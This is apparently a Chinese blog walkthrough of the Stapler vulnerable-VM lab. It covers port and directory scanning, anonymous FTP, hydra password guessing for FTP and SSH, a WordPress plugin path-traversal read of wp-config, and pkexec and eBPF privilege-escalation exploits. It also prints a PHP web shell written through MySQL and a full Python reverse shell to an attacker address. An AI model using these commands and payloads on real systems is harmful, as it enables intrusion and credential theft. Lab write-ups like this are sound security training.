Stapler靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。

(这里也是直接virtualbox里面运行就行了)


信息搜集

nmap扫一下,本次靶机开了好多端口:

nmap -sn 10.144.71.0/24
nmap -sV -p- -T4 10.144.71.204

image

还是访问80端口,但是这次没有任何东西:

image

照理说不应该,上dirseach扫了一下

image

三个文件,拼接之后会自动下载,里面也没什么敏感内容,就是bash的有关的文件。

然后扫端口的时候还开了一个12380的http高位端口,那么不出意外的话东西应该在这里里面:

image

....又没啥东西,再目录扫描一下,但是这里限速了,加线程也没用:

dirsearch -u http://10.144.71.204:12380/ -t 150

后面也没扫出来有用的,看看别的端口,这里又出现了我们熟悉的Samba,并且给出了大致的版本,先看看能不能匿名访问:

smbclient -L 10.144.71.204 -N  

image

好像也没写出来,那看一下具体的smb版本:

search smb version

#根据自己的来
use 104

set rhosts http://10.144.71.204:12380/

run

但是这次没有出结果,说明没有获取到相应的版本,可能是目标只允许 SMB2/SMB3,并且没有暴露明显指纹(尤其是较新的 Samba 或 Windows 配置了较严格的安全策略)

这样的话再换nmap试试:

nmap -p 445 --script smb-os-discovery,smb-protocols 10.144.71.204

image

这里显示445端口被过滤了,可能是被防火墙阻挡了,那么这里好像也不怎么走得通。

再看了一眼端口,有一个特别的666端口,还是一个zip,web端访问不了,尝试nc连接发现是乱码,那么保存成文件【直接放kali桌面上】:

nc 10.144.71.204 666 > message2.zip

unzip message2.zip

image

感觉有点像提示,Scott用户名,然后还有个segmentation fault代表段错误,可能跟后续的提权有关,先放这里。


FTP获取用户账户爆破SSH

53端口也没有东西,那就很奇怪了,感觉没啥切入点了,最后看一下21端口的ftp:

ftp 10.144.71.204

image

给了一个用户名,但不知道密码,退出尝试匿名登录:
anonymous ,密码直接为空回车就行:

image

发现可以直接进行登录,然后有一个note文件,使用该命令下载到本地 get note

然后新开一个终端访问一下,给出了这么一句话:

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

又出现了两个新的用户名,并且说Elly的账户可以进行ftp登录,很有可能是弱密码,先不上rockyou了,这个字典大爆的时间久还不容易出来,可以手动尝试或者输入以下命令:

hydra -l elly -e nsr ftp://10.144.71.204

这里-e → 表示启用 extra(额外尝试)而nsr 是三个字母的组合,每个字母代表一种尝试方式:

字母 含义(英文) 具体做什么 例子(用户名 = elly)
n null 空密码(什么都不输入) 密码留空
s same 用户名当作密码(相同) 密码 = elly
r reverse 用户名反写(倒过来拼写) 密码 = ylle

能够直接出来:

image

那么再用ftp访问一下,再ls一下直接给出了一大堆文件,找到了一个passwd,下载下来看一眼:

image

这不就是/etc/passwd吗,又给了很多用户,都列出来:

cat passwd | awk -F: '$7 ~ /bash|zsh|sh/ {print $1}' > users.txt

然后我去尝试了SSH【上rockyou或者别的字典啥的感觉不太现实,这么多账户】:

hydra -L users.txt -e nsr ssh://10.144.71.204

没想到还真有一个:

image

这样就能用SSH进行登录了:

ssh SHayslett@10.144.71.204

提权

SUID提权

进去之后先echo $SHELL一下,是完整的/bin/bash,那么还是先看看/var/www目录下的东西,然后这次是https,难怪直接http下扫不出来,该目录下有这么几个:

image

我先是看了一眼robots.txt,有两个路径去访问了一下,然后第二个能直接访问,说是一个内部的博客站点:

image

这个更具体到后面再研究了,毕竟现在已经连上SSH了,还有一个announcements,里面只有一句话:

image

有个重要的文件夹现在是隐藏的,需要创建一个符号链接把它链接到某个公开/可访问的位置(比如Web目录下),这样才能正常使用

感觉像个提示啥的,可能还要回到web端里面找东西,这个同样后面再研究,先尝试一下别的命令:

image

这个密码没问题就是我们之前登录ssh用的,但是不在sudoers里面,看看SUID:

image

发现一个老面孔pkexec,看看版本:

pkexec --version
pkexec version 0.105

这不就是之前打Lampiao靶机里面的吗,这里就不再细讲了,具体的可参考Lampiao靶机渗透

searchsploit --cve 2021-4034

gcc exploit.c -o exploit

gcc -shared -o evil.so -fPIC evil-so.c

image

一键提权


内核提权

作者说了提权方式不止一种,所以我再找找有无别的提权,看看内核:
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
直接找linux 4.4可能找不到,找对应的Ubuntu版本就好多了:

image

然后还是多用搜索引擎,放在首页的肯定是用的最多的:

image

如果直接去searchsploit的化能看到好多个,还要进行筛选,甚至不一定能提权成功:

image

简单来说就是漏洞存在于调用eBPF bpf(2)的Linux内核系统中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题, 低权限用户可使用此漏洞获得管理权限

但是这里好像有个问题:

image

直接被杀掉了,可能原因如下:

  • 内存占用太大,被 OOM Killer(Out-Of-Memory Killer)杀掉
  • 当前用户(SHayslett)的资源限制(ulimit)太低
  • 内核的安全机制(seccomp、AppArmor 等)干预
  • exploit 在 32位 系统( i686)上稳定性较差

得换一个,好像只能从searchsploit里面去找了,这里面有两个跟之前的BPF相关的:

image

上面那个具体看了一眼是DOS,那么尝试用39772那个,但是这里只有txt,到网页上看一下:

searchsploit -w 39772.txt

直接搞个tar包后面解压一下(这个找的文件是最稳的,其他试了都解压不了)

image

(其实都给出来了)

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip -O 39772.zip

unzip 39772.zip

进入39772文件夹后还要再解压再转:

tar -xvf exploit.tar

cd eb*

最后运行:

./compile.sh
./doubleput

image

★,°:.☆( ̄▽ ̄)/$:.°★


复盘

端口再次探测

本次复盘可能占据整篇文章的很大篇幅,主要是参考汇总别的师傅写的文章,看看哪里是我当时没有发现和欠缺的,也是拓展思路的一次很好的机会

首先就是在Samba那里,别的师傅用的是枚举

enum4linux -a 10.144.71.204

image

这里枚举出来是可访问的,最开始我是直接smbclient看的,因为没有写anoymous就以为是不能匿名访问,那么现在再连接一下看看:

smbclient //10.144.71.204/kathy 

目录:kathy_stuff

 todo-list.txt

目录:Backup

vsftpd.conf

wordpress-4.tar.gz

todo-list.txt提示为Initech备份重要信息,恰好有个Backup目录,这里面应该是备份的信息,vsftpd.conf是ftp配置文件,wordpress-4.tar.gz是一个wordpress网站备份.

后面就是扫高位端口了,我dirsearch扫完之后又用了gobuster,但是都没有结果,然后别的师傅用的是nikto 【速度快但噪声大】:

  • h 或 --host:目标地址(必须)
  • p:指定端口
  • T:选择扫描类型(tuning)
  • evasion:简单绕过 IDS
  • Format html:输出 HTML 报告(方便查看)
nikto -h 10.144.71.204 -p 12380

但我扫到这里后面就不动了:

image


web端获取登录凭据

那先不管,直接登录博客网站:
https://10.144.71.204:12380/blogblog/

进去之后还是先拿dirsearch扫一下目录:

image

有一个登录和上传的界面,登录的界面后面再看,先看上传的界面,然后发现一个advaced video模块,利用这个构造poc,【要是我估计根本想不到这里也能有漏洞】

后面就是searchsploit搜可用的payload,找到一个LFI的poc:

image

我们需要填的就是那个filepath,路径穿越尝试一下

https://10.144.71.204:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../../../../../etc/passwd

后面发现每次增加穿越符页面上P的值会相应改变:

image

访问URL之后显示页面未找到,但是会在/blogblog/wp-content/uploads生成jpeg,看看能不能下载下来:

wget --no-check-certificate https://10.144.71.204:12380/blogblog/wp-content/uploads/1724722310.jpeg

cat 172*

可以直接读取文件:

image

后面其实是要找配置文件的位置并查看其信息 poc如下:

https://10.144.71.204:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

路径清楚一点的化是这样的:

image

这里面直接给出了MySQL的账户密码:

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

那么就能用MySQL进行登录了,这里要跳过ssl

mysql -h 10.144.71.204 -u root -pplbkac --skip-ssl

然后在wordpress库中的users表发现相应的账户哈希:

image

这里没有全部截出来,自己尝试即可,后面就是用john进行爆破,但是要爆破挺久的,这里直接用一个账户进行WP界面登录了账户:elly 密码:ylle


获取shell

但是这个账户登录好像没啥东西,最多看一个WP版本:

image

其他就没有可以利用的点了,后面还是得转到john登录,再传个图片马后反弹shell,具体参考嗯嗯呐师傅的文章


还看到一个骚操作是直接将一句话木马写入数据库

select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell2.php";

image

再输入whcih python发现有相应版本,因此可以进行python反弹:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.144.71.177",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image


横向移动提权

那么就借着这个终端继续往下讲了,在提权时还有一个神来之笔,没有用到任何exp,只靠横向移动获得root权限,查看进程时发现有一个是用户:

image

切换到相应路径看一眼:

image

有一个bashhistory,看一下

id
whoami
ls -lah
pwd
ps aux
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
ps -ef
top
kill -9 3747
exit

给出了peterssh登录的密码,尝试登录:

image

那还说啥了,直接给了呗:

image


总结

本次靶机的难点在于如何从多端口中找到相应切入点,由一个点到另一个点如何联系,以及获得shell和提权的多样性,这都是值得我们去学习的,也是又学到了好多,信息收集真不是说说的而已。


“Knowledge is power. In penetration testing, reconnaissance is where that power is built.
The more you know about your target, the less you need to guess later.”

posted @ 2026-04-17 23:02  ShoreKiten  阅读(8)  评论(0)    收藏  举报